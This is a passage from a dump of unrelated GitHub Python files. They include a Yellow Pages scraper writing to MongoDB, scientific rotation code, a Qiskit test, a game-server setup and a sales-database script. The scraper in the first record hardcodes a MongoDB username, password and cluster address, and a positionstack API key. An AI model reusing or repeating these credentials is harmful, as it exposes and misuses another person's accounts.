'utf-8').read()\r\n soup = BeautifulSoup(page,'html.parser')\r\n business_number_element = soup.find_all('h2', {'class': 'n'})\r\n business_class_name = soup.find_all('a', {'class': 'business-name'})\r\n name = [i.text.strip() for i in business_class_name]\r\n search_rank = [i.text.strip().split('.')[0] for i in business_number_element]\r\n url = []\r\n for a in soup.find_all('a',{'class':\"business-name\"}, href=True):\r\n url.append(a['href'])\r\n for i in range(len(url)): \r\n url[i] = 'https://www.yellowpages.com' + url[i]\r\n restaurants = soup.find_all('div', class_='result')\r\n restaurant = [i.text.strip() for i in restaurants]\r\n dollar_signs = []\r\n for i in range(len(restaurant)):\r\n dollar_signs.append(re.findall('\\${1,5}', restaurant[i]))\r\n rating=[]\r\n reviews_count = []\r\n trip_advisor_rating = []\r\n trip_advisor_reviews_count = []\r\n years_in_business = []\r\n amenities = []\r\n review = []\r\n for i in range(len(restaurants)) :\r\n try:\r\n rating.append(restaurants[i].find('div', {'class': 'ratings',}).find('div')['class'][1:])\r\n except:\r\n rating.append(None)\r\n try:\r\n reviews_count.append(restaurants[i].find('div', {'class': 'ratings',}).find('span',{'class':'count'}).text.strip('()'))\r\n except:\r\n reviews_count.append(None)\r\n try:\r\n ta_rating = restaurants[i].find('div', {'class': 'ratings', 'data-tripadvisor': True})\r\n trip_advisor_rating.append(json.loads(ta_rating['data-tripadvisor'])['rating'])\r\n except:\r\n trip_advisor_rating.append(None)\r\n try:\r\n ta_n_reviews = restaurants[i].find('div', {'class': 'ratings', 'data-tripadvisor': True})\r\n trip_advisor_reviews_count.append(json.loads(ta_n_reviews['data-tripadvisor'])['count'])\r\n except:\r\n trip_advisor_reviews_count.append(None)\r\n try:\r\n years_in_business.append(restaurants[i].find('div', {'class': 'years-in-business',}).find('div',{'class':'number'}).text.strip('()'))\r\n except:\r\n years_in_business.append(None)\r\n try:\r\n amenities_tag = restaurants[i].find('div', {'class': 'amenities-info',})\r\n amenities.append(', '.join(amenities_tag.text.strip().split(', ')))\r\n except:\r\n amenities.append(None)\r\n try:\r\n review.append(restaurants[i].find(\"div\",{\"class\":\"snippet\"}).text)\r\n except:\r\n review.append(None)\r\n df = pd.DataFrame({'rating': rating[1:31],\r\n 'reviews_count': reviews_count[1:31],\r\n 'trip_advisor_rating': trip_advisor_rating[1:31],\r\n 'trip_advisor_reviews_count': trip_advisor_reviews_count[1:31],\r\n 'years_in_business': years_in_business[1:31],\r\n 'amenities': amenities[1:31],\r\n 'review': review[1:31],\r\n 'url': url[1:31],\r\n 'search_rank': search_rank[1:31],\r\n 'name': name[1:31],\r\n 'dollar_signs':dollar_signs[1:31]})\r\n df['dollar_signs'] = df['dollar_signs'].str[0]\r\n df[\"rating\"]= df[\"rating\"].str.join(\" and \")\r\n df['reviews_count'] = df['reviews_count'].str.extract('(\\d+)').astype(float)\r\n df['trip_advisor_rating'] = pd.to_numeric(df['trip_advisor_rating'])\r\n df['trip_advisor_reviews_count'] = df['trip_advisor_reviews_count'].astype(float)\r\n df['years_in_business'] = df['years_in_business'].astype(float)\r\n df['search_rank'] = df['search_rank'].astype(float)\r\n return df\r\ndf = part_5(wd)\r\n\r\n#6\r\ndef part_6(df):\r\n df_dict = df.to_dict('records')\r\n username = 'shubham1510'\r\n password = 'SK1510'\r\n con = 'mongodb+srv://' + username + ':' + password + '@cluster0.bv6w4n5.mongodb.net/?retryWrites=true&w=majority'\r\n client=pymongo.MongoClient(con)\r\n db = client['individual_assignment_2']\r\n collection = db['sf_pizzerias']\r\n collection.insert_many(df_dict)\r\n return con\r\ncon = part_6(df)\r\n\r\n#7\r\ndef part_7(con):\r\n client=pymongo.MongoClient(con)\r\n db = client['individual_assignment_2']\r\n collection = db['sf_pizzerias']\r\n url = []\r\n search_rank = []\r\n for doc in collection.find():\r\n url.append([doc['url']])\r\n search_rank.append([doc['search_rank']])\r\n search_rank_new = []\r\n for item in search_rank:\r\n search_rank_new += item\r\n search_rank_new = [int(i) for i in search_rank_new]\r\n url_new = []\r\n for item in url:\r\n url_new += item\r\n html_files = []\r\n for i in range(30):\r\n html_files.append('sf_pizzerias_' + str(format(search_rank_new[i], '02') +\".html\"))\r\n page = requests.get(url_new[i],headers ={\"user-agent\": \"Mozilla/5.0\"})\r\n soup = BeautifulSoup(page.content, \"html.parser\")\r\n with open(html_files[i], \"w\", encoding = 'utf-8') as file:\r\n file.write(str(soup.prettify()))\r\n file.close()\r\n time.sleep(10)\r\n return html_files\r\nhtml_files = part_7(con)\r\n\r\n#8\r\ndef part_8(html_files):\r\n address = []\r\n phone = []\r\n website = []\r\n soups = []\r\n for i in range(len(html_files)):\r\n url = open(html_files[i], \"r\", encoding = 'utf-8').read()\r\n soups.append(BeautifulSoup(url, \"html.parser\"))\r\n address.append(soups[i].find(\"section\", {\"id\": \"details-card\"}).find_all('p')[1].text.split(': '))\r\n phone.append(soups[i].find(\"section\", {\"id\": \"details-card\"}).find(\"p\",{\"class\":\"phone\"}).text.split(': '))\r\n try:\r\n website.append(soups[i].find(\"p\", {\"class\": \"website\"}).text.split(': '))\r\n except:\r\n website.append(None)\r\n cleaned_addresses = []\r\n for i in address:\r\n cleaned_address = i[0].replace('\\n','').replace('Address:','').strip()\r\n cleaned_addresses.append(cleaned_address)\r\n cleaned_phone = []\r\n for i in phone:\r\n cleaned_phones = i[0].replace('\\n','').replace('Phone:','').strip()\r\n cleaned_phone.append(cleaned_phones)\r\n cleaned_website = []\r\n for i in website:\r\n if i:\r\n cleaned_websites = i[0].replace('\\n','').replace('Website:','').strip()\r\n cleaned_website.append(cleaned_websites)\r\n else:\r\n cleaned_website.append(None)\r\n\r\n df = pd.DataFrame({'address': cleaned_addresses,\r\n 'phone': cleaned_phone,\r\n 'website': cleaned_website})\r\n return df\r\ndf = part_8(html_files)\r\n\r\n#9\r\ndef part_9(df):\r\n address = list(df['address'])\r\n phone = list(df['phone'])\r\n website = list(df['website'])\r\n url = 'http://api.positionstack.com/v1/forward'\r\n params = {\"access_key\": \"ee76ae35b91eb738fe7473778625debd\"}\r\n headers ={\"user-agent\": \"Mozilla/5.0\"}\r\n response = requests.get(url, params=params, headers=headers)\r\n username = 'shubham1510'\r\n password = 'SK1510'\r\n con = 'mongodb+srv://' + username + ':' + password + '@cluster0.bv6w4n5.mongodb.net/?retryWrites=true&w=majority'\r\n client=pymongo.MongoClient(con)\r\n db = client['individual_assignment_2']\r\n collection = db['sf_pizzerias'] \r\n longitude = []\r\n latitude = []\r\n for i in range(len(address)):\r\n params[\"query\"] = address[i]\r\n page = requests.get(url, params=params)\r\n location = page.json()\r\n latitude.append(location['data'][0]['latitude'])\r\n longitude.append(location['data'][0]['longitude'])\r\n df['longitude'] = longitude\r\n df['latitude'] = latitude\r\n df_dict = df.to_dict('records')\r\n for i in range(len(address)):\r\n collection.update_one({'search_rank': float(i+1)}, {'$set': {'latitude': latitude[i], 'longitude': longitude[i], 'phone': phone[i], 'website': website[i],'address': address[i]}})\r\npart_9(df)\r\n","repo_name":"shubham1510/Web_Scraping_And_mongo_db","sub_path":"Shubham_Kumar_Code.py","file_name":"Shubham_Kumar_Code.py","file_ext":"py","file_size_in_byte":10846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"25440379419","text":"# -*- coding:UTF-8 -*-\r\nimport csv\r\nimport jieba\r\nfrom gensim.models import word2vec\r\nimport re\r\nimport codecs\r\n\r\ndef read_csv(excel_path,save_path):\r\n with open(excel_path) as csv_file:\r\n datas = csv.reader(csv_file)\r\n col = [data[5] for data in datas]#第五列为评论文本\r\n # print col\r\n\r\n with open(save_path,'w') as w:\r\n for index in range(1,len(col)):\r\n col[index]\r\n w.write(col[index])\r\n w.write('\\n')\r\n w.flush()\r\n # w.write()\r\n#分词，拆分测试与训练集\r\ndef segmentation(original_path, train_save_path,test_save_path,word2vec_path):\r\n with open(original_path) as f:\r\n lines = f.readlines()\r\n sentences = []\r\n test_sub = len(lines)/10\r\n for index,line in enumerate(lines):#按行循环\r\n wordlist = list(jieba.cut(line))#分词\r\n words = ''\r\n for word in wordlist:\r\n words = words + word + ' '#分词后结果以空格拼接成字符串\r\n words = words.strip().encode('utf-8')#去掉首尾空白\r\n ori_words = words\r\n with codecs.open(word2vec_path, 'a', 'utf-8') as w:#将分词后全部文本保存\r\n words = re.sub('\\s+', ' ', words).strip().decode('utf-8')\r\n w.write(words)\r\n w.write('\\n')\r\n w.flush()\r\n if index < test_sub:#写入测试文件\r\n with codecs.open(test_save_path, 'a', 'utf-8') as w:\r\n words = re.sub('\\s+', ' ', ori_words).strip().decode('utf-8')\r\n w.write(words)\r\n w.write('\\n')\r\n w.flush()\r\n else:#写入训练文件\r\n with codecs.open(train_save_path, 'a','utf-8') as w:\r\n words = re.sub('\\s+',' ',ori_words).strip().decode('utf-8')\r\n w.write(words)\r\n w.write('\\n')\r\n w.flush()\r\n\r\n #train the word2vec\r\n sentences.append(words)\r\n\r\nif __name__ == '__main__':\r\n read_csv('original_data/好评.csv'.decode('utf-8'), 'train_data/polarity_pos')#提取csv格式的原文本\r\n read_csv('original_data/差评.csv'.decode('utf-8'), 'train_data/polarity_neg')\r\n segmentation('train_data/polarity_pos', 'train_data/segment_pos','train_data/test_segment_pos','train_data/word2vec_data')\r\n segmentation('train_data/polarity_neg', 'train_data/segment_neg','train_data/test_segment_neg','train_data/word2vec_data')","repo_name":"smallsilent/Public_Opinion_Analysis","sub_path":"train_seg.py","file_name":"train_seg.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"10473719846","text":"from .db import db\nfrom sqlalchemy.sql import func\n\n\nclass Song(db.Model):\n __tablename__ = 'songs'\n\n # sqlalchemy will automatically set pk id\n id = db.Column(db.Integer, primary_key=True)\n albumId = db.Column(db.Integer, db.ForeignKey('albums.id'), nullable=False)\n title = db.Column(db.String(255), nullable=False)\n trackNumber = db.Column(db.Integer, nullable=False)\n audioUrl = db.Column(db.String(1000), nullable=False)\n createdAt = db.Column(db.DateTime, nullable=False, server_default=func.now())\n updatedAt = db.Column(db.DateTime, nullable=False, server_default=func.now(), onupdate=func.now())\n\n # attribute_name = db.relationship(\"OtherClassName\", back_populates=\"other_relationship_attribute_name\")\n album = db.relationship(\"Album\", back_populates=\"songs\")\n\n\n def to_dict(self):\n return {\n 'id': self.id,\n 'albumId': self.albumId,\n 'title': self.title,\n 'trackNumber': self.trackNumber,\n 'audioUrl': self.audioUrl\n }\n","repo_name":"starsabhi/lofidelity","sub_path":"app/models/song.py","file_name":"song.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"22"} +{"seq_id":"7023673796","text":"from twisted.web import server\nfrom twisted.internet import reactor, endpoints\nimport yaml\nimport logging, coloredlogs\nfrom logging.handlers import TimedRotatingFileHandler\nfrom threading import Thread\n\nfrom aime.data import Config\nfrom aime.titles.idac.config import IDACConfig\nfrom aime.titles.idac.dispatch import IDACDispatch\nfrom aime.titles.idac.const import IDACConstants\nfrom aime.titles.idac.echo import IDACEchoUDP\nfrom aime.titles.idac.matching import IDACMatching\n\nclass IDACServlet():\n def __init__(self, core_cfg: Config, cfg_dir: str) -> None:\n self.core_cfg = core_cfg\n self.game_cfg = IDACConfig()\n self.game_cfg.update(yaml.safe_load(open(f\"{cfg_dir}/{IDACConstants.CONFIG_NAME}\")))\n\n self.logger = logging.getLogger(\"idac\")\n log_fmt_str = \"[%(asctime)s] IDAC | %(levelname)s | %(message)s\"\n log_fmt = logging.Formatter(log_fmt_str)\n fileHandler = TimedRotatingFileHandler(\"{0}/{1}.log\".format(self.core_cfg.server.logs, \"idac\"), encoding='utf8',\n when=\"d\", backupCount=10)\n\n fileHandler.setFormatter(log_fmt)\n \n consoleHandler = logging.StreamHandler()\n consoleHandler.setFormatter(log_fmt)\n\n self.logger.addHandler(fileHandler)\n self.logger.addHandler(consoleHandler)\n \n self.logger.setLevel(self.game_cfg.server.loglevel)\n coloredlogs.install(level=self.game_cfg.server.loglevel, logger=self.logger, fmt=log_fmt_str)\n self.logger.info(\"IDAC title server initialized\")\n \n def setup(self):\n if self.game_cfg.server.enable:\n if self.game_cfg.server.ssl:\n endpoints.serverFromString(reactor, f\"ssl:{self.game_cfg.ports.main}:interface={self.core_cfg.server.hostname}\") \\\n .listen(server.Site(IDACDispatch(self.core_cfg, self.game_cfg)))\n else:\n endpoints.serverFromString(reactor, f\"tcp:{self.game_cfg.ports.main}:interface={self.core_cfg.server.hostname}\") \\\n .listen(server.Site(IDACDispatch(self.core_cfg, self.game_cfg)))\n \n endpoints.serverFromString(reactor, f\"tcp:{self.game_cfg.ports.matching}:interface={self.core_cfg.server.hostname}\") \\\n .listen(server.Site(IDACMatching(self.core_cfg, self.game_cfg)))\n \n reactor.listenUDP(self.game_cfg.ports.echo1, IDACEchoUDP(self.core_cfg, self.game_cfg, self.game_cfg.ports.echo1))\n reactor.listenUDP(self.game_cfg.ports.echo2, IDACEchoUDP(self.core_cfg, self.game_cfg, self.game_cfg.ports.echo2))\n self.logger.info(f\"IDAC title server ready on port {self.game_cfg.ports.main}\")","repo_name":"korivirtual/fuck","sub_path":"aime/titles/idac/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"} +{"seq_id":"26852823274","text":"\"\"\"\nRoutines that compute coordinate rotations and translations.\n\"\"\"\n\nfrom __future__ import annotations\n\n__all__ = [\n \"rotate_coordinates\",\n \"compute_shifts\",\n \"make_euler_rotation\",\n \"Pose\",\n \"EulerPose\",\n \"QuaternionPose\",\n]\n\nfrom abc import abstractmethod\nfrom typing import Union\nfrom typing_extensions import override\nfrom jaxtyping import Float, Array\nfrom functools import cached_property\n\nimport jax\nimport jax.numpy as jnp\nfrom jaxlie import SO3\n\nfrom ..core import field, Module\nfrom ..typing import (\n Real_,\n ComplexImage,\n ImageCoords,\n CloudCoords3D,\n VolumeCoords,\n)\n\n_RotationMatrix3D = Float[Array, \"3 3\"]\n_Vector3D = Float[Array, \"3\"]\n_Vector2D = Float[Array, \"2\"]\n\n\nclass Pose(Module):\n \"\"\"\n Base class for the image pose.\n\n Subclasses should choose a viewing convention,\n such as with Euler angles or Quaternions. In particular,\n\n 1) Define angular coordinates.\n 2) Overwrite the ``Pose.rotation`` property.\n\n Attributes\n ----------`\n offset_x :\n In-plane translation in x direction.\n offset_y :\n In-plane translation in y direction.\n offset_z :\n Out-of-plane translation in the z\n direction. The translation is measured\n relative to the configured defocus.\n \"\"\"\n\n offset_x: Real_ = field(default=0.0)\n offset_y: Real_ = field(default=0.0)\n offset_z: Real_ = field(default=0.0)\n\n def rotate(\n self,\n coordinates: Union[VolumeCoords, CloudCoords3D],\n is_real: bool = True,\n ) -> Union[VolumeCoords, CloudCoords3D]:\n \"\"\"\n Rotate coordinates from a particular convention.\n\n By default, compute the inverse rotation if rotating in\n real-space.\n \"\"\"\n rotation = self.rotation.inverse() if is_real else self.rotation\n return rotate_coordinates(coordinates, rotation)\n\n def shifts(self, freqs: ImageCoords) -> ComplexImage:\n \"\"\"\n Compute the phase shifts from the in-plane translation,\n given a wave vector coordinate system.\n \"\"\"\n xy = self.offset[0:2]\n return compute_shifts(freqs, xy)\n\n @cached_property\n def offset(self) -> _Vector3D:\n \"\"\"The translation vector.\"\"\"\n return jnp.asarray((self.offset_x, self.offset_y, self.offset_z))\n\n @cached_property\n @abstractmethod\n def rotation(self) -> SO3:\n \"\"\"Generate a rotation.\"\"\"\n raise NotImplementedError\n\n\nclass EulerPose(Pose):\n \"\"\"\n An image pose using Euler angles.\n\n Attributes\n ----------\n convention :\n The sequence of axes over which to apply\n rotation. This is a string of 3 characters\n of x, y, and z. By default, `zyz`.\n intrinsic :\n If ``True``, follow the intrinsic rotation\n convention. If ``False``, rotation axes move with\n each rotation.\n inverse :\n Compute the inverse rotation of the specified\n convention. By default, ``False``. The value\n of this argument is with respect to fourier space\n rotations, so it is automatically inverted\n when rotating in real space.\n view_phi :\n First rotation axis, ranging :math:`(-\\pi, \\pi]`.\n view_theta :\n Second rotation axis, ranging :math:`(-\\pi, \\pi]`.\n view_psi :\n Third rotation axis, ranging :math:`(-\\pi, \\pi]`.\n \"\"\"\n\n convention: str = field(static=True, default=\"zyz\")\n intrinsic: bool = field(static=True, default=True)\n inverse: bool = field(static=True, default=False)\n degrees: bool = field(static=True, default=True)\n\n view_phi: Real_ = field(default=0.0)\n view_theta: Real_ = field(default=0.0)\n view_psi: Real_ = field(default=0.0)\n\n @cached_property\n @override\n def rotation(self) -> SO3:\n \"\"\"Generate a rotation from a set of Euler angles.\"\"\"\n R = make_euler_rotation(\n self.view_phi,\n self.view_theta,\n self.view_psi,\n degrees=self.degrees,\n convention=self.convention,\n intrinsic=self.intrinsic,\n )\n return R.inverse() if self.inverse else R\n\n\nclass QuaternionPose(Pose):\n \"\"\"\n An image pose using unit Quaternions.\n\n Attributes\n ----------\n view_qw :\n view_qx :\n view_qy :\n view_qz :\n \"\"\"\n\n inverse: bool = field(static=True, default=False)\n\n view_qw: Real_ = field(default=1.0)\n view_qx: Real_ = field(default=0.0)\n view_qy: Real_ = field(default=0.0)\n view_qz: Real_ = field(default=0.0)\n\n @cached_property\n @override\n def rotation(self) -> SO3:\n \"\"\"Generate rotation from a unit quaternion.\"\"\"\n wxyz = jnp.array(\n [self.view_qw, self.view_qx, self.view_qy, self.view_qz]\n )\n R = SO3(wxyz=wxyz)\n return R.inverse() if self.inverse else R\n\n\nclass MatrixPose(Pose):\n \"\"\"\n An image pose represented by a rotation matrix.\n\n Attributes\n ----------\n matrix :\n The rotation matrix.\n \"\"\"\n\n matrix: _RotationMatrix3D = field()\n\n def __init__(\n self,\n *args: Any,\n matrix: Optional[_RotationMatrix3D] = None,\n **kwargs: Any,\n ):\n super().__init__(*args, **kwargs)\n self.matrix = jnp.eye(3) if matrix is None else matrix\n\n @cached_property\n @override\n def rotation(self) -> SO3:\n \"\"\"Generate rotation from a rotation matrix.\"\"\"\n return SO3.from_matrix(self.matrix)\n\n\ndef rotate_coordinates(\n coords: Union[VolumeCoords, CloudCoords3D],\n rotation: SO3,\n) -> Union[VolumeCoords, CloudCoords3D]:\n r\"\"\"\n Compute a coordinate rotation.\n\n Arguments\n ---------\n coords :\n Coordinate system.\n rotation :\n The rotation object.\n\n Returns\n -------\n transformed :\n Rotated coordinate system.\n \"\"\"\n shape = coords.shape\n if len(shape) == 2:\n transformed = jax.vmap(rotation.apply)(coords)\n elif len(shape) == 4:\n N1, N2, N3 = shape[0:-1]\n transformed = jax.vmap(rotation.apply)(coords.reshape(N1 * N2 * N3, 3))\n transformed = transformed.reshape((N1, N2, N3, 3))\n else:\n raise ValueError(\n \"coords must either be shape (N, 3) or (N1, N2, N3, 3)\"\n )\n\n return transformed\n\n\ndef compute_shifts(coords: ImageCoords, xy: _Vector2D) -> ComplexImage:\n r\"\"\"\n Compute the phase shifted density field from\n an in-plane real space translation.\n\n Arguments\n ---------\n coords :\n Coordinate system.\n xy :\n In-plane translation.\n\n Returns\n -------\n shifts :\n The phase shifts\n \"\"\"\n return jnp.exp(-1.0j * (2 * jnp.pi * jnp.matmul(coords, xy)))\n\n\ndef make_euler_rotation(\n phi: Union[float, Real_],\n theta: Union[float, Real_],\n psi: Union[float, Real_],\n convention: str = \"zyz\",\n intrinsic: bool = True,\n degrees: bool = False,\n) -> SO3:\n \"\"\"\n Helper routine to generate a rotation in a particular\n convention.\n \"\"\"\n # Generate sequence of rotations\n rotations = [getattr(SO3, f\"from_{axis}_radians\") for axis in convention]\n if degrees:\n phi = jnp.deg2rad(phi)\n theta = jnp.deg2rad(theta)\n psi = jnp.deg2rad(psi)\n R1 = rotations[0](phi)\n R2 = rotations[1](theta)\n R3 = rotations[2](psi)\n R = R1 @ R2 @ R3 if intrinsic else R3 @ R2 @ R1\n\n return R\n","repo_name":"mjo22/cryojax","sub_path":"src/cryojax/simulator/pose.py","file_name":"pose.py","file_ext":"py","file_size_in_byte":7349,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"} +{"seq_id":"12801355243","text":"from tkinter import*\n\n\nclass plot_two:\n def __init__(self, parent,win_width, win_height, height,width, Frame):\n self.parent = parent\n self.height = height\n self.width = width\n self.win_width = win_width\n self.win_height = win_height\n self.Frame = Frame\n self.carte = Canvas(self.Frame, height = self.win_height/2, width = 6*self.win_width/16, highlightthickness = 0, bg = 'black')\n self.carte.pack()\n self.point = self.carte.create_oval(-5,self.win_height/2-5,5,self.win_height/2+5, fill = 'red')\n\n def update(self):\n self.carte.delete(self.parent.win, self.point)\n self.point = self.carte.create_oval(0+round(self.parent.coor[0][0]*10, 3)-5,self.win_height/2 +round(self.parent.coor[0][1]*10,3)-5,0+round(self.parent.coor[0][0]*10, 3)+5,self.win_height/2+ round(self.parent.coor[0][1]*10,3) +5, fill ='red')\n #pass\n","repo_name":"gwendal95/Submarine_Python","sub_path":"submarine_v1/plot_2.py","file_name":"plot_2.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"26682643027","text":"import unittest\nfrom test import combine\nimport numpy as np\nfrom ddt import ddt\nfrom qiskit.quantum_info.random import random_unitary\nfrom qiskit import BasicAer, QuantumCircuit, QuantumRegister\nfrom qiskit.test import QiskitTestCase\nfrom qiskit.extensions.quantum_initializer.squ import SingleQubitUnitary\nfrom qiskit.compiler import transpile\nfrom qiskit.quantum_info.operators.predicates import matrix_equal\n\nsqus = [\n np.eye(2, 2),\n np.array([[0.0, 1.0], [1.0, 0.0]]),\n 1 / np.sqrt(2) * np.array([[1.0, 1.0], [-1.0, 1.0]]),\n np.array([[np.exp(1j * 5.0 / 2), 0], [0, np.exp(-1j * 5.0 / 2)]]),\n random_unitary(2, seed=42).data,\n]\n\nup_to_diagonal_list = [True, False]\n\n\n@ddt\nclass TestSingleQubitUnitary(QiskitTestCase):\n \"\"\"Qiskit ZYZ-decomposition tests.\"\"\"\n\n @combine(u=squs, up_to_diagonal=up_to_diagonal_list)\n def test_squ(self, u, up_to_diagonal):\n \"\"\"Tests for single-qubit unitary decomposition.\"\"\"\n qr = QuantumRegister(1, \"qr\")\n qc = QuantumCircuit(qr)\n with self.assertWarns(DeprecationWarning):\n qc.squ(u, qr[0], up_to_diagonal=up_to_diagonal)\n # Decompose the gate\n qc = transpile(qc, basis_gates=[\"u1\", \"u3\", \"u2\", \"cx\", \"id\"])\n # Simulate the decomposed gate\n simulator = BasicAer.get_backend(\"unitary_simulator\")\n result = simulator.run(qc).result()\n unitary = result.get_unitary(qc)\n if up_to_diagonal:\n with self.assertWarns(DeprecationWarning):\n squ = SingleQubitUnitary(u, up_to_diagonal=up_to_diagonal)\n unitary = np.dot(np.diagflat(squ.diag), unitary)\n unitary_desired = u\n self.assertTrue(matrix_equal(unitary_desired, unitary, ignore_phase=True))\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Qiskit/qiskit","sub_path":"test/python/circuit/test_squ.py","file_name":"test_squ.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","stars":4020,"dataset":"github-code","pt":"22"} +{"seq_id":"2190768595","text":"from msrest.serialization import Model\n\n\nclass MetricLoadDescription(Model):\n \"\"\"Specifies metric load information.\n\n :param metric_name: The name of the reported metric.\n :type metric_name: str\n :param current_load: The current value of the metric load.\n :type current_load: long\n :param predicted_load: The predicted value of the metric load.\n :type predicted_load: long\n \"\"\"\n\n _attribute_map = {\n 'metric_name': {'key': 'MetricName', 'type': 'str'},\n 'current_load': {'key': 'CurrentLoad', 'type': 'long'},\n 'predicted_load': {'key': 'PredictedLoad', 'type': 'long'},\n }\n\n def __init__(self, *, metric_name: str=None, current_load: int=None, predicted_load: int=None, **kwargs) -> None:\n super(MetricLoadDescription, self).__init__(**kwargs)\n self.metric_name = metric_name\n self.current_load = current_load\n self.predicted_load = predicted_load\n","repo_name":"acukanovic-zz/service-fabric-cli","sub_path":"customSDK/servicefabric/models/metric_load_description_py3.py","file_name":"metric_load_description_py3.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"} +{"seq_id":"35179403370","text":"index = 1\r\nmy_dict = {}\r\nwhile(index <= 10):\r\n n = int(input(\"Enter number: \"))\r\n \r\n if(n in my_dict):\r\n print(\"Number already taken. Enter different number.\")\r\n continue\r\n else:\r\n my_dict[n] = 1\r\n index += 1","repo_name":"Shagoto20101195/Assignments-and-DSA","sub_path":"Assignment/111/Week 4/Easy/Task03.py","file_name":"Task03.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"36894412869","text":"from esquema import *\nfrom datetime import datetime\nlista_categorias = [\n {'descricao' : 'Papelaria'},\n {'descricao' : 'Tecnologia'},\n {'descricao' : 'Alimento'},\n {'descricao' : 'Móveis'},\n {'descricao' : 'Eletrodomésticos'},\n {'descricao' : 'Diversos'}\n]\n\nCategoria.insert_many(lista_categorias).execute()\n\n\ncliente1 = Cliente(\n nome = \"João da Silva\", \n endereco = \"Rua A, 123\", \n data_registro = datetime(2021, 12, 30,7)\n)\n\ncliente2 = Cliente(\n nome = \"Maria Souza\", \n endereco = \"Avenida B, 456\", \n data_registro = datetime(2022,10,8,7)\n)\n\ncliente3 = Cliente(\n nome = \"Carlos Santos\", \n endereco = \"Rua C, 789\", \n data_registro = datetime(2022,2,7,7)\n)\n\ncliente4 = Cliente(\n nome = \"Ana Oliveira\", \n endereco = \"Avenida D, 1011\", \n data_registro = datetime(2023,4,6,7)\n)\n\ncliente5 = Cliente(\n nome = \"Pedro Pereira\",\n endereco = \"Rua E, 1314\", \n data_registro = datetime(2019,6,17,7)\n)\n\ncliente1.save()\ncliente2.save()\ncliente3.save()\ncliente4.save()\ncliente5.save()\n\n\ncaneta = Produtos(\n descricao = 'Caneta Bic esferográfica azul', \n categoria = Categoria.select().where(Categoria.descricao == 'Papelaria'), \n valor = 2.5\n)\ncaneta.save()\n\nnotebook = Produtos(\n descricao = 'Notebook', \n categoria = Categoria.select().where(Categoria.descricao == 'Tecnologia'), \n valor = 2499.99\n)\nnotebook.save()\n\nmesa = Produtos(\n descricao = 'Mesa', \n categoria = Categoria.select().where(Categoria.descricao == 'Móveis'), \n valor = 549.95\n)\nmesa.save()\n\nmonitor = Produtos(\n descricao = 'Monitor', \n categoria = Categoria.select().where(Categoria.descricao == 'Tecnologia'),\n valor = 700\n)\nmonitor.save()\n\nar = Produtos(\n descricao = 'Ar Condicionado', \n categoria = Categoria.select().where(Categoria.descricao == 'Eletrodomésticos'),\n valor = 2999\n)\nar.save()\n\ncaderno = Produtos(\n descricao = 'Caderno', \n categoria = Categoria.select().where(Categoria.descricao == 'Papelaria'),\n valor = 22\n)\ncaderno.save()\n\nlivro = Produtos(\n descricao = 'Livro', \n categoria = Categoria.select().where(Categoria.descricao == 'Papelaria'), \n valor = 250\n)\nlivro.save()\n\nborracha = Produtos(\n descricao = 'Borracha', \n categoria = Categoria.select().where(Categoria.descricao == 'Papelaria'), \n valor = 1.5\n)\nborracha.save()\n\ndef cadastrar_venda(nome_cliente, nome_produto, quantidade_itens, data_venda):\n venda = Vendas(\n cliente = Cliente.select().where(Cliente.nome == nome_cliente),\n produto = Produtos.select().where(Produtos.descricao == nome_produto),\n quantidade = quantidade_itens,\n data = data_venda,\n valor_unitario = Produtos.select(Produtos.valor).where(\n Produtos.id == Produtos.select().where(Produtos.descricao == nome_produto)),\n valor_total = (Produtos.select().where(\n Produtos.id == Produtos.select().where(\n Produtos.descricao == nome_produto).get()).get().valor*quantidade_itens)\n )\n venda.save()\n\n\ncadastrar_venda('João da Silva', 'Caneta Bic esferográfica azul', 5, datetime(2023,6,17,10,20))\ncadastrar_venda('João da Silva', 'Notebook', 1, datetime(2023,6,17,10,20))\ncadastrar_venda('Carlos Santos', 'Caderno', 2, datetime(2021,10,7,15,10))\ncadastrar_venda('Ana Oliveira', 'Ar Condicionado', 3, datetime(2022,9,17,12,20))\ncadastrar_venda('Pedro Pereira', 'Notebook', 10, datetime(2022,9,11,9,27))\ncadastrar_venda('Maria Souza', 'Mesa', 5, datetime(2023,6,1,17,20))\ncadastrar_venda('Ana Oliveira', 'Borracha', 100, datetime(2022,9,3,7,0))\ncadastrar_venda('Ana Oliveira', 'Livro', 2, datetime(2022,9,3,7,0))\ncadastrar_venda('Carlos Santos', 'Ar Condicionado', 15, datetime(2022,9,12,16,50))\ncadastrar_venda('Maria Souza', 'Caneta Bic esferográfica azul', 10, datetime(2023,4,17,10,20))\n\n# ----------------------------------------------------------------------------------------------------------\n\nupdate1=Produtos.update({Produtos.valor:4}).where(Produtos.id == Produtos.select(Produtos.id).where(\n Produtos.descricao == 'Caneta Bic esferográfica azul'))\nupdate1.execute()\n\nupdate2=Produtos.update({Produtos.valor:2}).where(Produtos.id == Produtos.select(Produtos.id).where(\n Produtos.descricao == 'Caneta Bic esferográfica azul'))\nupdate2.execute()\n\nupdate3=Produtos.update({Produtos.valor:1.5}).where(Produtos.id == Produtos.select(Produtos.id).where(\n Produtos.descricao == 'Caneta Bic esferográfica azul'))\nupdate3.execute()","repo_name":"hallan-kayo/peeweeProject06","sub_path":"dados.py","file_name":"dados.py","file_ext":"py","file_size_in_byte":4479,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"31611099534","text":"# B-деревья\n\n# Searching 